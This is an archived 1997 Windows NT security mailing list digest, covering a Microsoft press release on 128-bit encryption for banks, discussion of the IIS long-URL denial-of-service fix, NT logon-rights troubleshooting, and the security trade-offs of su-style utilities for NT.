> rely on comparable security on their customers' desktops. 
> 
> "We believe this is a win for everyone-for our bank customers, for
> consumers, for the government and for the computer industry," said
> Mike Dusche, Microsoft's financial services industry manager.
> "Microsoft has enabled banks worldwide to access high-strength
> security easily so they and their customers can securely perform
> online transactions. Microsoft will not charge banks for using this
> license, nor will it receive a transaction fee from banks that use
> this license. Microsoft currently plans to turn the certificate
> mechanism over to a reliable third-party group at the appropriate
> time." 
> 
> The 128-bit encryption capability is implemented as an extension to
> the SSL and TLS protocols. TLS is a security protocol overseen by a
> working group of the Internet Engineering Task Force, an Internet
> standards body. The extension enables an application to "switch on"
> 128-bit security when a digital certificate is present on the bank's
> system. If there is no certificate, the server and client negotiate
> the strongest common security available to them. 
> 
> For example, overseas customers who want to pay bills or transfer
> funds online could use Microsoft Internet Explorer to connect to their
> bank's Web site. After a connection was established, Microsoft
> Internet Explorer would perform an electronic "handshake" with the
> bank's server to determine if a digital certificate was present. If
> the certificate was located, the session would be protected by 128-bit
> encryption. If the server did not have a certificate, the transaction
> would automatically default to an ordinary SSL or TLS session,
> generally at 40-bit security. 
> 
> The government's export approval for 128-bit encryption does not
> require the use of key escrow-the storage of encryption keys to
> enable law enforcement officials to recover users' messages. The
> export approval continues the current U.S. encryption export control
> policy permitting favorable treatment for the export of strong
> encryption products intended for use in conducting financial
> transactions. It also recognizes that banks and other financial
> institutions are subject to explicit legal requirements to retain
> transaction data, and that they have shown a consistent ability to
> provide appropriate access to transaction information in response to
> authorized law enforcement requests without the requirement to escrow
> encryption keys. 
> 
> "Banks must be able to communicate securely with their customers with
> mutual assurance of the authenticity, integrity and privacy of those
> communications, and we believe we now have effective security
> solutions for both major types of online transactions," Dusche said.
> "Our Secure Electronic Transaction solution will appeal to individual
> PC users who want to conduct online commerce via the Internet, and our
> 128-bit encryption technology gives banks a powerful solution for
> direct customer-to-institution transactions." 
> 
> Dusche also said that when an announced relaxation of U.S.
> electronic-commerce export regulations occurs this summer, the
> Microsoft license will be updated to extend strong security to other
> financial institutions such as investment, brokerage and insurance
> firms, and to make available even more secure key lengths. 
> 
> Founded in 1975, Microsoft is the worldwide leader in software for
> personal computers. The company offers a wide range of products and
> services for business and personal use, each designed with the mission
> of making it easier and more enjoyable for people to take advantage of
> the full power of personal computing every day. 
> 
> NOTE: Microsoft is a registered trademark or trademark of Microsoft
> Corp. in the United States and/or other countries. Other product and
> company names herein may be trademarks of their respective owners. 
> 
> 
> ----------------------------------------------------------------------
> --
> SOURCE: Microsoft Corp.
> Contact: press only, Dave Yewman of Insync Communications Inc.,
> 503-226-8230, or davey@insync-pr.com, for Microsoft Corp. 
> ----------------------------------------------------------------------
> --
> More news for referenced ticker symbols: MSFT, and related industries:
> Software, banking, computer, internet.
> 
> ----------------------------------------------------------------------
> --
> Help
> 
> 
> 
> ----------------------------------------------------------------------
> --
> 
> Important Disclaimers and Legal Information 
> Questions or Comments? 
> 
> 

On Tue, 24 Jun 1997 11:16:05 -0400, you wrote:
[...]
>
>After reading the announcement from Microsoft and the accompanying
>Knowledge Base article, I think I've put things together. This is
>not a bug, it's a (mis)feature.
So? DoS is normally regarded to be a bug I'd assume.
>
>Source is http://www.microsoft.com/iis/iisnews/hotnews/issue_tb.htm
>
>According to Microsoft, a "very special URL" can bring down IIS.
>They are careful to state that there is no one URL that works on
>all IIS installations, but that the URL varies with the current
>state of the server (current memory and current load, among other
>unspecified data). Furthermore, MS states that "a program might
>find the right URL sequence and cause the web server to stop running."
>
>The KB article (linked from the URL above) states that the URL
>is actually a CGI request that contains between 4 and 8Kb of data.
>
>Putting this together and reading between the appropriate lines,
>my guess is that:
> - This dynamically generated "shutdown" URL is used by
> IIS remote management. (It may even be used in normal
> from-the-console service shutdown, but I doubt it.)
> - One can apparently sniff these packets from the wire
> and deduce their format/contents.
> - If Joe Hacker can hammer IIS with iterations of this
> URL until he hits the right one, that implies that IIS
> does not (or did not, before the patch) authenticate the
> source of remote management URLs.
You misspelled the name - it's Joe Cracker - not Joe Hacker!

>It is also possible that this is some "back door" that was never
>closed, and that is has nothing to do with remote management.
Looks more like bad quality assurance at M$.

>
>I hear rumors that this particular DoS is already floating around
>the underground in executable form (i.e. "What IIS site do you
>want to shut down?") 
Long URLs were popular two years ago I think...

>
>If anyone is in a position to verify that this URL nonsense is
>built into the remote IIS management stuff, I'd like to hear it.
>
>It looks like the hotfix is a patched W3SVC.DLL...the hotfix.inf
>file include the comment "This fix is for the long URL parsing
>Access Violation," which doesn't seem to mesh with either the
>press release or the KB article. None of the publicly dissemi-
>nated information mentions any sort of Access Violation error.
Did you read 
Subject: [NTSEC] http://www.eden.com/~tfast/jihad.html
From: Christopher Klaus 
Date: Sun, 22 Jun 1997 12:53:27 -0400
from this list?
He describes the exception in detail and it seems to be
some sort of missing bounds checking. _VERY_ _VERY_
bad. A clever cracker could perhaps exploit that bug
in a much worse way than just stopping the server -
such sorts of errors (missing bounds checking) often
can be exploited to overwrite the return stack with a
known pattern - thus allowing to have instructions
coded into the url executed on the server. Once again
- very very bad - the (in)famous Internet Worm from 1988 or 89
used a (as it seems to me) quite similar bug (not in IIS but 
anyway;-)).
>
>This *really* seems like some serious evasion...
>
I can only add the conclusions from Todd Fast (msg from above):
" Parting Words

 A colleague had the good sense to remind of something I'd almost
 forgotten before today:

 You get what you pay for
"

cu, Dietz



-- 

 Dietz Proepper, [Software|Web] Designer, S.E.P.P. MED
 AKA tik on IRC, bladerunner on netrek, 
 
 U:Shit! S:What? U:Windoz! S:No U:Yes S:Shit!

+ opinions expressed in here are strictly my 
+ own ones. Neither S.E.P.P. MED nor heaven 
+ or hell shall be made responsible.
Sorry about the last message - my brain was somewhere else.
af
I've been using Proxy for the last couple weeks and am thoroughly unimpressed 
by its dial-up capabilities. I have continuously had the problems listed below:
- spurious dial-up connections to my ISP. These are not initiated by 
anything... the modem just starts dialing and then connects and doesn't 
automatically disconnect unless I hang up the line.
- client problems - sometimes the config at the client works fine, sometimes it 
doesn't. This is especially evident during POP3 and SMTP message transfers. MS 
Outlook will popup a message stating that the SMTP server cannot be found and 
give me a chance to change the server location. Hitting [Enter] with no changes 
connects and retrieves messages.
- I get similar problems when using a browser - sometimes it finds the webpage 
and loads it, sometimes it just reports "No response from HTTP server."

What I want is the ability to setup a few clients to share a modem which dials 
an ISP to send and retrieve email and the occasional webpage. This is a very 
small network and we don't want to install modems in every PC, nor do we want 
to run phone lines to every machine (10BaseT network cabling is already in 
place). I also want to use a MS product to do this because I want to apply that 
knowledge toward my MCSE certification.

MS Proxy does this but not reliably, certainly not as reliably as some of the 
other products like WebEtc. Does R&RAS do this, and if so then what are the 
significant differences between R&RAS and Proxy? Does R&RAS also require that 
IIS be installed? Does R&RAS have these spurious dial attempts also? How does 
it handle ISP connections where the IP address may change for each login?

Joel






--
Joel W. Barrett, Internetworking Consultant
RPM Associates, Inc. http://www.rpm.com
email: jbarrett@rpm.com, pager: 888-602-4566
http://www.mindspring.com/~cnebody (12/17/96)
Do Something Digital!




Verify that you have not restricted access on this machine to only members
of your local administrators group. On NT 4.0, run user manager, under
policies-user rights, pick the right called "log on locally" and verify
that your local users and power users groups are listed in that group. If
it says that only administrators can log on locally, then that will
explain why your administrator account can logon but valid local accounts,
not in the administrators group, can not.

Hope this helps.

 -----------------------------------------------------------------
| John Meadows | email: jmeadows@teir.com |
| TEIR | Voice: 703.736.1734 |
| 205 Van Buren Street, Suite 300 | Fax: 703.736.1800 |
| Herndon, VA 22070 | |
 -----------------------------------------------------------------

On Tue, 24 Jun 1997, Tom Kiernan wrote:

> Here's a weird question. I have a pretty clean NT 4.0 workstation system that I have just finished installing. I had done everything up until now using the administrator account and privileges since I was installing, etc. When I created some regular user accounts, the accounts cannot log in. The error given is that the account doesn't have permission to log into *this* workstation. This is a stand alone workstation in a small workgroup with 1 or 2 other NTWS systems (which work fine). Since this is not in a domain, there is no provision to set workstation by workstation login privileges as with domains.
> 
> The admin accounts can always log in. My inclination is that I can log in as admin because something is confused and NT is letting the admin accounts in, overriding or ignoring whatever the error condition is that might prevent less privileged logins.
> 
> Details:
> 
> NT workstation 4.0 sp3
> Operating outside a domain
> User accounts are valid and not disabled, nothing obvious like that
> Admin accts work fine
> User, power user accounts don't work
> 
> There must be some permission that I have set incorrectly, or that NT has decided to help me by setting for me.
> 
> Any help would be appreciated,
> 
> Tom
> 
> 
> Tom Kiernan
> Senior Software Engineer
> Online Resources and Communications Corporation
> tkiernan@orcc.com
> www.orcc.com
> 
> 
> 
> 

At 10:40 AM 6/24/97 -0400, you wrote:
>Here's a weird question. I have a pretty clean NT 4.0 workstation system
that I have just finished installing. I had done everything up until now
using the administrator account and privileges since I was installing, etc.
When I created some regular user accounts, the accounts cannot log in. The
error given is that the account doesn't have permission to log into *this*
workstation. This is a stand alone workstation in a small workgroup with 1
or 2 other NTWS systems (which work fine). Since this is not in a domain,
there is no provision to set workstation by workstation login privileges as
with domains.
>
>
We had a similar situation happen with a V3.51 intallation, when it did not
install right. On the reinstall, we got an operational system, but users
were not allowed to use it "at this time". This is a server settable right
not found on the workstation, as you know. Anyway, we had to reinstall from
scratch to solve that one. There is a permission in Ver. 3.51 you can set
to give a group permission to log in locally under the User Manager |
Policies | User Rights that I thought was by default granted for a
workstation, but it sounds like you had a glitch in the install ation and
did not notice it. I'd check that one first. Articles I have seen state
that the kernal for Workstation and Server are the same. I would guess that
a reinstallation is inorder as much as that is a pain if the rights can't be
granted from the path above. I don't hav 4.0 experience yet.

Someone else on here with more expertise may have a simple solution.

Regards.

Phred

I may have to create a standalone Web/ftp server (NTS 4.0 sp2, soon to be sp3) which supports 100+ users. 

How can I set up that server so that users can establish their passwords remotely? Do I need a telnet server? If so, which one?

Thanks for your input,
-Barry



__________________________________________________________________
Barry Koblenz (bkoblenz@adm.schoolofvisualarts.edu)
Systems Administrator, MFA PHOTO, School of Visual Arts 
Tel (212)592-2364 Fax (212)592-2368
Check out our Website at http://mfaphoto.schoolofvisualarts.edu
__________________________________________________________________


If I convert an NTS 4.0sp2, soon to be sp3 BDC into a standalone server, is there a way to dump/save the user accounts presently listed in User Manager so that I can simply reload them when I reinstall the OS?

Thanks for your help,
-Barry



__________________________________________________________________
Barry Koblenz (bkoblenz@adm.schoolofvisualarts.edu)
Systems Administrator, MFA PHOTO, School of Visual Arts 
Tel (212)592-2364 Fax (212)592-2368
Check out our Website at http://mfaphoto.schoolofvisualarts.edu
__________________________________________________________________


We are having problems with our NT 4.0 server response time slowing
periodically with no indication (that I can find) of why it would be slow.
Memory utilization is normal with plenty of room and the CPU is nearly idle.

Before the slowdown the server system log shows several instance of the error:
 Nbf received an unexpected FRMR packet from a remote computer.

The contents of the error don't tell me anything useful. My concern is
that this is due to an attack from outside our site. Any ideas?


-----------------------------------------------------------------
Michael S. Johnson Network Engineer
Street Technologies, Inc. Voice 303-231-9150
2801 Youngfield St. Ste 241 Fax 303-231-9930
mjohnson@steetinc.com http://www.streetinc.com
I just had an ISDN line installed at home that connects me to work. The 
line connects to via a UNIX host. There is a firewall installed on the 
host that is currently stopping most of everything I need. The UNIX admins 
said if I could tell them what ports to allow, then they will make the 
changes for me. Here are the apps I wish to run remotely:

NT system admin tools. This includes. User Manager for Domains, Server 
manager for domains, Ras administrator, event viewer, Exchange Server Admin 
tools, Performance monitor, and Wins.

These are just a few, but some of the more important ones. Any help is 
very much appreciated.

Bill Breen


User Manager -> Policies -> User Rights -> Show Advanced -> Log on locally

Add Users

At 10:40 AM 6/24/97 -0400, Tom Kiernan wrote:
>Here's a weird question. I have a pretty clean NT 4.0 workstation system
that I have just finished installing. I had done everything up until now
using the administrator account and privileges since I was installing, etc.
 When I created some regular user accounts, the accounts cannot log in.
The error given is that the account doesn't have permission to log into
*this* workstation. This is a stand alone workstation in a small workgroup
with 1 or 2 other NTWS systems (which work fine). Since this is not in a
domain, there is no provision to set workstation by workstation login
privileges as with domains.
>
>The admin accounts can always log in. My inclination is that I can log in
as admin because something is confused and NT is letting the admin accounts
in, overriding or ignoring whatever the error condition is that might
prevent less privileged logins.
>
>Details:
>
>NT workstation 4.0 sp3
>Operating outside a domain
>User accounts are valid and not disabled, nothing obvious like that
>Admin accts work fine
>User, power user accounts don't work
>
>There must be some permission that I have set incorrectly, or that NT has
decided to help me by setting for me.
>
>Any help would be appreciated,
>
>Tom
>
>
>Tom Kiernan
>Senior Software Engineer
>Online Resources and Communications Corporation
>tkiernan@orcc.com
>www.orcc.com
>
>
>
>
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
There is a client/server version of SU for NT which uses an RPC service
(I think it's using RPC) and a command line client. The client can be
run by any user (since all it does is make an RPC call), while the
service must be run as a user with all the required privileges.

The utility was written for NT 3.51, but I bet it will work for NT 4.0
as well. It comes with source code, so if it doesn't work in 4.0 it
should be a simple matter of programming (SMOP) to fix it.

Here is the homepage url:
http://www.informatik.hu-berlin.de/~skrause/sunt.html

Enjoy...

Phil

> -----Original Message-----
> From: egb@austin.ibm.com [SMTP:egb@austin.ibm.com]
> Sent: Monday, June 23, 1997 11:36 AM
> To: jwood@af.pentagon.mil
> Cc: ntsecurity@iss.net
> Subject: Re: [NTSEC] Running browser as non-privlaged user
> 
> 
> Doesn't su.exe in the NT resource kit provide the same
> capabilities?
> \ntreskit\su.exe administrator cmd
> spawns a cmd.exe box with administrator as the ID (using the
> \ntreskit\whoami.exe
> utility).
> 
> Of course to be able to use su.exe one must already have
> extraordinary privileges (TCB, CREATE_PRIMARY_TOKEN). That
> means the "administrator" or "administrators group" goes
> around all the time with these privileges allowed and possibly
> enabled (which seems to me not a good thing.)
> 
> If you have found a way to avoid these things, then great.
> 
> Ed
> 
> 
> According to Wood, Jeremy, SrA, SAF/AADXO:
> > 
> > Can I get a copy of the utility you wrote? I haven't seen anything
> else 
> > like it.
> > 
> > 
> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> > Jeremy A Wood, SrA, USAF
> > Office of the Secretary
> > Directorate of Departmental Publishing
> > 
> > Email: jwood@af.pentagon.mil
> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> > 
> > -----Original Message-----
> > From: Philip Boutros [SMTP:Philip_Boutros@inso.com]
> > Sent: Friday, June 20, 1997 4:33 PM
> > To: ntsecurity@iss.net
> > Subject: [NTSEC] Running browser as non-privlaged user
> > 
> > 
> > Hi
> > 
> > Over the last few days I have written a small Windows NT program
> (RUNAS.
> > EXE) that lets you execute any command line as a different user,
> even if
> > you are logged on as Administrator. I use it to run my browser as a
> user
> > with minimal access while the rest of my desktop acts as
> Administrator.
> > Have I reinvented the wheel? Is a program like this available
> elsewhere?
> > 
> > Phil Boutros
> > Senior Technology Architect
> > Inso Corporation
> > pboutros@inso.com
> > 
> > 
> > 
> > 
> > begin 600 WINMAIL.DAT
> > M>)\^(A\1`0:0" `$```````!``$``0>0!@`(````Y 0```````#H``$(@ <`
> > M& ```$E032Y-:6-R;W-O9G0@36%I;"Y.;W1E`#$(`0F `0`A````1#@T13 > M0S%"0T5"1# Q,4%",C0P,$$P0SDU1$1$13(`9 > M`"\`%@`!`$0!`06 `P`.````S0<&`!<`!P`Z`"4``0!8`0$-@ 0``@````(`
> > M`@`!!( !`#(```!213H@6TY44T5#72!2=6YN:6YG(&)R;W=S97(@87,@;F]N
> > M+7!R:79L86=E9"!U > M``! `#D`<'J2R,Q_O $>`' ``0```#(```!213H@6TY44T5#72!2=6YN:6YG
> > M(&)R;W=S97(@87,@;F]N+7!R:79L86=E9"!U > M`;Q_S,@;P71.VNN\$="K) "@R5W=X@```P`&$%#&0Q,#``<0L (``!X`"! !
> > M````90```$-!3DE'151!0T]064]&5$A%551)3$E465E/55=23U1%/TE(059%
> > M3E13145.04Y95$A)3D=%3%-%3$E+14E42D5214U905=/3T0L4U)!+%53049/
> > M1D9)0T5/1E1(15-%0U)%5$$``````P`0$ `````#`!$0``````(!"1 !````
> > MKP,``*L#``!E!0``3%I&=9Z>(0@#``H` > M@F@*P'-E=# @!Q.'`H,`4 ^V<')Q,A"V9GT*@ C((#L);PXP-;,"@ J!=6,`
> > M4 L#8P!!10M@;@X0,#,S"Z8@(D,#D4D@9Q" (&$"( 6@<'D@;V8@0'1H92!U
> > M= ,0:4IT&!!Y"& @=P-@=*QE/Q=1$$!V"? G!4!G$' )\!>P;GD88 N 9Z@@
> > M96P0<" 8T&L8@-T8X"X*H@J$'&9^'4\=^"4<)$H$D&5M&!!!()17;P1P+ 8`
> > M > M&")$90JQ= > `C '0'@@4'4"8 0`&P(<*D5#`, #$#H@:G<@`4!0868N<"1R
> > M9P(@+GYM`Q <[RC_'"X+,!C0,_XV`4 5T % $@`9@2-0$410,38@+2S23P40
> > M9ZL+@"2A30>0 > M > MY&\N!:!M71PE,: &8(<",#(', > M<"3 3;DU9U1O,@<",!!P8PAQ]QCP-, $$"XW8"PP-7 > MO$-=!_ W4 ,`&R%B`V!6=Q!P! 9!B0/<'?+G\O
> > MBBLT"[8<.4@`H!PY7D\:$ 7 &&(+8',%0&;_!]$V\00@&=0941C@&9 :H:L:
> > M8 # ; ,@5PN 9#VA&0>P5" KT0G 86T@0"A254Y!4QP51?A812D842.0&Y 0
> > M@ 0@>1DB97@Z`2.A&L$7T6V_`X$^\!C0-V$^`1? 9 :0WT1P"7 ",#\#(#!E
> > M&A$;X/YF'"09(@K &X%'0#[2`B#Y/?)!9"? `P!$0".!!; >+A=1/Q$;X1A0
> > M;R!R_3=0(!^A/8D7P#\8`_ 88&]0@$[11B$7L&,A@ 01=_\RH1B &&()<$1!
> > M&#$?H0$`_'-K(V RX #023%.?T)5_T4R%V )< N &A$9D#[P&&+[4W )X&P9
> > ML4M"1R8;HQKQ_4M!=B91`:!3H1M26&$)<+X_'"HRDC+V'"0U\6D%L;I4!9!H
> > M/C!-T1^Q > M8T ``P" $/____\+``. "" &``````# ````````1@`````#A0````#__P,`
> > M!8 (( 8``````, ```````!&`````!"%`````````P``@ @@!@``````P ``
> > M`````$8`````4H4``+<-```>``& "" &``````# ````````1@````!4A0``
> > M`0````0````X+C ``P`"@ @@!@``````P ```````$8``````84````````+
> > M``2 "" &``````# ````````1@`````.A0````````,`!H (( 8``````, `
> > M``````!&`````!&%`````````P`(@ @@!@``````P ```````$8`````&(4`
> > M```````>``F "" &``````# ````````1@`````VA0```0````$`````````
> > M'@`*@ @@!@``````P ```````$8`````-X4```$````!`````````!X`"X (
> > M( 8``````, ```````!&`````#B%```!`````0`````````#`"8```````,`
> > M-@```````@'Y/P$````>`````````-RG0,C 0A :M+D(`"LOX8(!````````
> > M`"X````>`/@_`0```!4```!3>7-T96T@061M:6YI > M`0```!X`````````W*= R,!"$!JTN0@`*R_A@@$`````````+@```!X`^C\!
> > M````%0```%-Y > M"##8,M2 _7^\`0,`#33]/P```@$4- $````0````5)2AP"E_$!NEAP@`*RHE
> > M%QX`/0`!````!0```%)%.B `````"P`I```````+`",```````(!?P`!````
> > M30```#QC/553)6$]871T;6%I;"5P/6=O=BMD;7,K=')A;G,E;#U$35,O1$90
> > I14Y404=/3B\P,#!!,S,W1$!$1D1#,# T+DA1+D%&+DU)3#X`````,M0O
> > `
> > end
> > 
> 
> 
> -- 
> Ed Bradford
> NT Architecture M/S 9170
> Software Solutions Div. Integrated Solutions Architecture
> egb@austin.ibm.com 11400 Burnet Rd
> Phone: T/L 678-1421 Austin,Tx, 78758
> Real Phone 512-838-1421 FAX 512-838-2212


> ----------
> From: Juha Jäykkä[SMTP:juolja@utu.fi]
> Reply To: Juha Jäykkä
> Sent: Tuesday, June 24, 1997 11:00 AM
> To: Eigenheer Patrik, EIP
> Cc: 'Swaim, Mike'; 'ntsecurity@iss.net'
> Subject: Re: [NTSEC] Running browser as non-privlaged user
> 
> > What do u do if u have the Internet explorer 4.0 ?
> > So the "explorer.exe" starts as shell and with logged on user rights
> 
> You must mean iexplore.exe? Explorer.exe is the usual nt40 shell.
> 
> > Any solusions ?
> 
> Do not run iexplore as your shell? Use netscape? I wouldn't trust IE
> anyway since it uses transparent NTLM (and SMB, but that can be
> prevented) autentication, thus effectively givin away your hashed
> password, username, domain- and hostnames etc.
> 
The subject was IE 4.0, which integrates the "iexplore.exe" Web browser
and "explorer.exe" shell. IE4.0 won't use NTLM authentication in HTTP,
except to sites you specifically designate.

Paul
At 10:40 AM 6/24/97 -0400, you wrote:
>When I created some regular user accounts, the accounts cannot log in.
The error given is that the account doesn't have permission to log into
*this* workstation.

Have you run the "C2 Security" program from the Resource Kit? It took me
months and a $200 call to M$ tech support to find that the C2 program can
cause this behavior. It's been several months and a complete reinstall
since I had the problem, but I'll try to reconstruct the fix...

Go into the registry; look for
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

Here's where I'm relying on memory, as I've reinstalled since. Corrections
from someone with good notes or true knowledge is welcome.

Look for a DWORD value called "CrashOnAuditFail" which, if set to "02" will
prevent regular users from logging in. M$ said this was a legacy of
running the C2 utility and to change it to "00", but it seemed to work just
as well to just delete it. After that users could log in correctly.

The odd thing was that it would, from time to time, reconstitute itself. I
would have to go back in and delete it again.

Since my system reinstallation the problem has not recurred, and I've
stayed away from C2...


--
Robin Felix, Odysseus Project
30 years over schedule;
All participants dead except Program Manager.
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> MICROSOFT NEWS
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> MICROSOFT RESPONDS TO INTERNET INFORMATION SERVER DENIAL OF SERVICE
> ISSUE
> Microsoft has identified an IIS issue which can be exploited by a
> malicious
> hacker, making IIS temporarily unavailable. It does not effect Windows
> NT
> Server or comprimise sensitive data in any way. However, it forces IIS
> to
> become unavailable for a short time and is easily remedied by
> restarting
> the web server.
Just a minor annoyance, I'm sure it didn't affect the course of their
businness at all when it happened to them, they just easily remedied it
by restarting the web server, as all Microsoft problems are solved 
(reboot).
> Microsoft takes issues like these very seriously and has
> responded rapidly by addressing the issue with a permanent fix that
> prohibits this specific type of attack and also records the IP address
> of the attacker in a log file. 
It's kind of funny how Microsoft security works. It is becoming a 
question of mine of whether or not they test there software with all
possible situations, or just the ones that they would expect to occur
on a network full of mickeysoft software. Especially when it was 
brought to my attention that the Internet Explorer could not generate
a url like this to pass to a server, the url had to be sent from 
Netscape or some other browser. Gee, this bug must be Netscape's 
fualt for sending Microsoft software to long of a url, the Internet
Explorer wouldn't do that.
-- 
------------------------------------------------------------
Chris Plunkett System Technician
Breakwater Technologies Inc.
phone:(425)803-5002x112 Fax:(425)803-5001
http://www.breakwater.net mailto:chris@breakwater.net
Have you tested all the Web server implementations with 4K to 8K long
URL's. The guy who wrote it goofed. They fixed it, life goes on.



At 11:36 AM 6/25/97 +0100, Clem.Dye@gb.swissbank.com wrote:
>Frankly, I find this type of announcement very irritating. Microsoft did not 
>identify the problem in their IIS code, somebody else did.
>
>Yet more M$ whitewash, methinks .....
>
>
>
>Clem
>
>______________________________ Reply Separator
_________________________________
>Subject: [NTSEC] Official Microsoft response to ISS denial of servi
>Author: mckaymi (mckaymi@dti.net) at unix,mime
>Date: 24/06/97 16:12
>
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
>MICROSOFT NEWS 
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>MICROSOFT RESPONDS TO INTERNET INFORMATION SERVER DENIAL OF SERVICE ISSUE
>Microsoft has identified an IIS issue which can be exploited by a malicious 
>hacker, making IIS temporarily unavailable. It does not effect Windows NT 
>Server or comprimise sensitive data in any way. However, it forces IIS to 
>become unavailable for a short time and is easily remedied by restarting 
>the web server. Microsoft takes issues like these very seriously and has 
>responded rapidly by addressing the issue with a permanent fix that 
>prohibits this specific type of attack and also records the IP address of 
>the attacker in a log file. For details on this issue, visit: 
>http://www.microsoft.com/iis/iisnews/hotnews/issue.htm
>
>The Hot-fix for this specific issue, available on the Microsoft Web site 
>today at: 
>
>ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-p
ostSP
>3/iis-fix. 
>
>
>-- 
>--------------------------------------------------- 
>Michael McKay | Phone: 212-695-5445 
>MasterNet, Inc. | Fax: 212-643-2384 134 
>W. 32nd St., Suite 400 | Email: mckaymi@dti.net New 
>York, NY 10016-3201 |
>---------------------------------------------------
>
>"Imagine, if you will, 
>a world without hypothetical situations."
>
>
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
On Wed, 25 Jun 1997 10:08:06 +0100, you wrote:

:[ i cc'd this to stefan since i thought he might have a view on the 
:matter... ]

I'm on this list too, thank you, Jeremy.

I wrote susrv exactly for the reason not having to give every possible user
all the privileges, esp. SeTcbPrivilege, although nobody exactly knows what
somebody is able to do with that.
Susrv is an incomplete program, but alas, I'm no student anymore so I simply
don't have the time to do all the work I wanted to do. 

Things bad about susrv:

-it sets a null ACL on the desktop and windowstation, so a program from
another user running on the computer (thru a telnet demon or maybe thru a
modified susrv client) might be able to look like your own program. I tried
to fix this but ran into a bug in NT4. Meanwhile I have the information how
to circumvent this bug, but...

-the named pipe is unencrypted and does not check if it is connected from
the local computer. 

-the screen saver crashes in NT4 before SP3 after susrv was used because of
an NT bug. Itz was promised to be fixed in SP3, I don't know if it is done.

-It does not load the user profile and doesn't prepare the environment like
the RK su.exe. BTW, for this the user needs one more privilege: 'Restore
files and directories' - very bad idea to give this to users

-It does not indicate when the newly started program does NOT run in the
specified user environment, for instance if you cann sunt explorer.exe, the
existing explorer just opens a new window, nothing more.

- the existing version does not completely log out the user after the su'ed
program ended execution, so it's leaking client licenses in a NT domain.
This is easily fixed, I just didn't release it.

-Finally, susrv does no process tracking. So don't forget to close all su'ed
programs before you log out. 

Regards,
Steffen

:
:as far as i can work out, the preferred way of getting suid-like behaviour 
:is to have a service running that can perform privileged actions on behalf 
:of non-privileged processes. some ipc mechanism (rpc, named pipe) can be 
:used to contact the service, which has the option of doing things in its 
:own right, or of impersonating the client (eg i thinkthere's an api call 
:called ImpersonateNamedPipeClient() that does just that) when servicing the 
:request. it's (obviously) up to the author of the service to implement the 
:necessary security precautions.
:
:an example of such a service is susrv, a service-based su utility (see 
:http://www.informatik.hu-berlin.de/~skrause - source too!) that tries to 
:avoid the special rights requirements of the su.exe available with the nt 
:resource kit. (note that in order to use su.exe, the client must have 
:certain rights that only the system - not even administrators - normally 
:has (SeTcbPrivilege) - and the doco for some of these rights is a bit vague 
:about the full ramifications of those rights. ms's own security white 
:paper claims that SeIncreaseQuotaPrivilege has no effect in NT4.0, but you 
:need to assign it to use su.exe...) If the service is running as system 
:(the usual way) it will automatically have all those rights.
:
:but i'm wondering just how safe susrv is - it uses a named pipe for 
:client-service ipc, and passes the password unencrypted over this 
:mechanism. but as long as the named pipe is set up with appropriate 
:permissions [is it possible to restrict use of named pipes to local 
:connections only? ie deny connection requests from the network] it should 
:be possible to ensure that the service will only respond to requests from 
:specified users logged in on the machine on which the service is running. 
: (the service locates the client's desktop and spawns the requested app 
:there, which at present can only be done locally anyway - but who knows how 
:the winstation/desktop api will be used in the future? and it all happens 
:after the password is entered anyway, so it offers no protection of the 
:password unless... sorry thinking aloud here)
:
:one thing that su.exe does that susrv doesn't is load the registry hive for 
:the new user. depending on what you're su-ing for, this may or may not be 
:a problem.
:
:the other big problem is that you can't spawn a new explorer as the new 
:user, since explorer only allows a single instance to run. (this would 
:apply to all single-instance apps.) since all the desktop and folder 
:navigation is done via explorer, and things like briefcases and (most 
:importantly) the control panel are implemented as desktop extensions 
:running through the explorer, this is a bit of a hindrance. luckily 
:winfile (the old file manager) can be run for folder navigation as the new 
:user (but without access to desktop extensions etc),and i've been 
:experimenting with running control panel applets directly from the command 
:line via rundll32.exe (a knowledgebase article describes how to use this 
:technique to run control panel applets from VB). the trick there is 
:finding out (by trial and error) which dll or cpl implements the applets 
:you want. i'm still playing around with this though. depending on whether 
:the applet controls user preferences or service parameters, the absence of 
:the new user's registery hive may or may not be a problem. but i'm assuming 
:that one of the most common uses for this technique would be manipulating 
:service parameters without having to log off a user, and that generally 
:only affects HKEY_LOCAL_MACHINE keys.
:
:
:
:of course i still haven't worked out whether all this can't be achieved 
:more painlessly by some other means. but that's my rundown on what i 
:understand about the whole su / suid / service / whatever deal.
:
:hope it's not all hot air
:jd
:
:
:
:================================================
: Jeremy Davies 
:
: Orb Integration Technologists Limited
: 93 Tabernacle St, London EC2A 4BA, England.
: Phone: +44-171-490-1888 Fax: +44-171-490-7757
: Mobile: +44-956-657268
:================================================
:

-----------------------------------------------------
Steffen Krause skrause@informatik.hu-berlin.de
Dipl.-Inf, MCSE
But wherever we go we will always know 
that the land we stand on is never our own
John Wiltshire wrote:
> 
> FYI, there is no 'iexplore.exe' as such in IE4.0 - it is simply a small
> program that launches a new explorer window. When you install IE4, the
> 'explorer.exe' executable is changed to the new version of internet
> explorer which integrates the shell and the web browser.
> 
> To stop IE sending hashes of your password, block port 139 (should be
> blocked anyway for other reasons).
> 
> Netscape and IE are pretty much the same as far as security goes - both
> have had their scares lately. We use IE because it is free (strange the
> number of people that think Netscape is free).

No. Software that requires a firewall for secure operation, is -not-
secure.

In this case, it looks like you get what you pay for. In many others,
that's not true.
Piers Cawley wrote:
> At least they had the decency to use the phrase `malicious hacker',
> tacitly accepting that not all hackers are malicious. However,
